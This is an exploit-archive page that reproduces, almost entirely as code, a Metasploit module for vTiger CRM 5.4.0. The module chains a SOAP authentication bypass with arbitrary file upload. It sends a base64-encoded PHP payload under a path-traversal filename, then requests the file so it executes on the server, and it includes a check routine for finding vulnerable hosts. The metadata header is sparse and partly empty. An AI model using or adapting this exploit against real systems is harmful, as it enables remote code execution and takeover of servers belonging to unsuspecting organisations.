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vTiger CRM SOAP AddEmailAttachment Arbitrary File Upload Vulnerability
Author
Risk
![](/img/risk/critlow_3.gif)
Security Risk High
]0day-ID
Category
Date add
CVE
Platform
## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'rexml/document' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include REXML include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'vTiger CRM SOAP AddEmailAttachment Arbitrary File Upload', 'Description' => %q{ vTiger CRM allows an user to bypass authentication when requesting SOAP services. In addition, arbitrary file upload is possible through the AddEmailAttachment SOAP service. By combining both vulnerabilities an attacker can upload and execute PHP code. This module has been tested successfully on vTiger CRM v5.4.0 over Ubuntu 10.04 and Windows 2003 SP2. }, 'Author' => [ 'Egidio Romano', # Vulnerability discovery 'juan vazquez' # msf module ], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2013-3214' ], [ 'CVE', '2013-3215' ], [ 'OSVDB', '95902' ], [ 'OSVDB', '95903' ], [ 'BID', '61558' ], [ 'BID', '61559' ], [ 'EDB', '27279' ], [ 'URL', 'http://karmainsecurity.com/KIS-2013-07' ], [ 'URL', 'http://karmainsecurity.com/KIS-2013-08' ] ], 'Privileged' => false, 'Platform' => ['php'], 'Arch' => ARCH_PHP, 'Payload' => { # Arbitrary big number. The payload is sent base64 encoded # into a POST SOAP request 'Space' => 262144, # 256k 'DisableNops' => true }, 'Targets' => [ [ 'vTigerCRM v5.4.0', { } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Mar 26 2013')) register_options( [ OptString.new('TARGETURI', [ true, "Base vTiger CRM directory path", '/vtigercrm/']) ], self.class) end def check test_one = check_email_soap("admin", rand_text_alpha(4 + rand(4))) res = send_soap_request(test_one) unless res and res.code == 200 and res.body.to_s =~ /<return xsi:nil="true" xsi:type="xsd:string"\/>/ return Exploit::CheckCode::Unknown end test_two = check_email_soap("admin") res = send_soap_request(test_two) if res and res.code == 200 and (res.body.blank? or res.body.to_s =~ /<return xsi:type="xsd:string">.*<\/return>/) return Exploit::CheckCode::Vulnerable end return Exploit::CheckCode::Safe end def exploit file_name = rand_text_alpha(rand(10)+6) + '.php' php = %Q|<?php #{payload.encoded} ?>| soap = add_attachment_soap(file_name, php) res = send_soap_request(soap) print_status("#{peer} - Uploading payload...") if res and res.code == 200 and res.body.to_s =~ /<return xsi:type="xsd:string">.*<\/return>/ print_good("#{peer} - Upload successfully uploaded") register_files_for_cleanup(file_name) else fail_with(Failure::Unknown, "#{peer} - Upload failed") end print_status("#{peer} - Executing payload...") send_request_cgi({'uri' => normalize_uri(target_uri.path, 'soap', file_name)}, 0) end def add_attachment_soap(file_name, file_data) xml = Document.new xml.add_element( "soapenv:Envelope", { 'xmlns:xsi' => "http://www.w3.org/2001/XMLSchema-instance", 'xmlns:xsd' => "http://www.w3.org/2001/XMLSchema", 'xmlns:soapenv' => "http://schemas.xmlsoap.org/soap/envelope/", 'xmlns:crm' => "http://www.vtiger.com/products/crm" }) xml.root.add_element("soapenv:Header") xml.root.add_element("soapenv:Body") body = xml.root.elements[2] body.add_element( "crm:AddEmailAttachment", { 'soapenv:encodingStyle' => "http://schemas.xmlsoap.org/soap/encoding/" }) crm = body.elements[1] crm.add_element("emailid", {'xsi:type' => 'xsd:string'}) crm.add_element("filedata", {'xsi:type' => 'xsd:string'}) crm.add_element("filename", {'xsi:type' => 'xsd:string'}) crm.add_element("filesize", {'xsi:type' => 'xsd:string'}) crm.add_element("filetype", {'xsi:type' => 'xsd:string'}) crm.add_element("username", {'xsi:type' => 'xsd:string'}) crm.add_element("session", {'xsi:type' => 'xsd:string'}) crm.elements['emailid'].text = rand_text_alpha(4+rand(4)) crm.elements['filedata'].text = "MSF_PAYLOAD" crm.elements['filename'].text = "MSF_FILENAME" crm.elements['filesize'].text = file_data.length.to_s crm.elements['filetype'].text = "php" crm.elements['username'].text = rand_text_alpha(4+rand(4)) xml_string = xml.to_s xml_string.gsub!(/MSF_PAYLOAD/, Rex::Text.encode_base64(file_data)) xml_string.gsub!(/MSF_FILENAME/, "../../../../../../#{file_name}") return xml_string end def check_email_soap(user_name = "", session = "") xml = Document.new xml.add_element( "soapenv:Envelope", { 'xmlns:xsi' => "http://www.w3.org/2001/XMLSchema-instance", 'xmlns:xsd' => "http://www.w3.org/2001/XMLSchema", 'xmlns:soapenv' => "http://schemas.xmlsoap.org/soap/envelope/", 'xmlns:crm' => "http://www.vtiger.com/products/crm" }) xml.root.add_element("soapenv:Header") xml.root.add_element("soapenv:Body") body = xml.root.elements[2] body.add_element( "crm:CheckEmailPermission", { 'soapenv:encodingStyle' => "http://schemas.xmlsoap.org/soap/encoding/" }) crm = body.elements[1] crm.add_element("username", {'xsi:type' => 'xsd:string'}) crm.add_element("session", {'xsi:type' => 'xsd:string'}) crm.elements['username'].text = user_name crm.elements['session'].text = session xml.to_s end def send_soap_request(soap_data) res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'soap', 'vtigerolservice.php'), 'method' => 'POST', 'ctype' => 'text/xml; charset=UTF-8', 'data' => soap_data }) return res end end # 0day.today [2024-07-05] #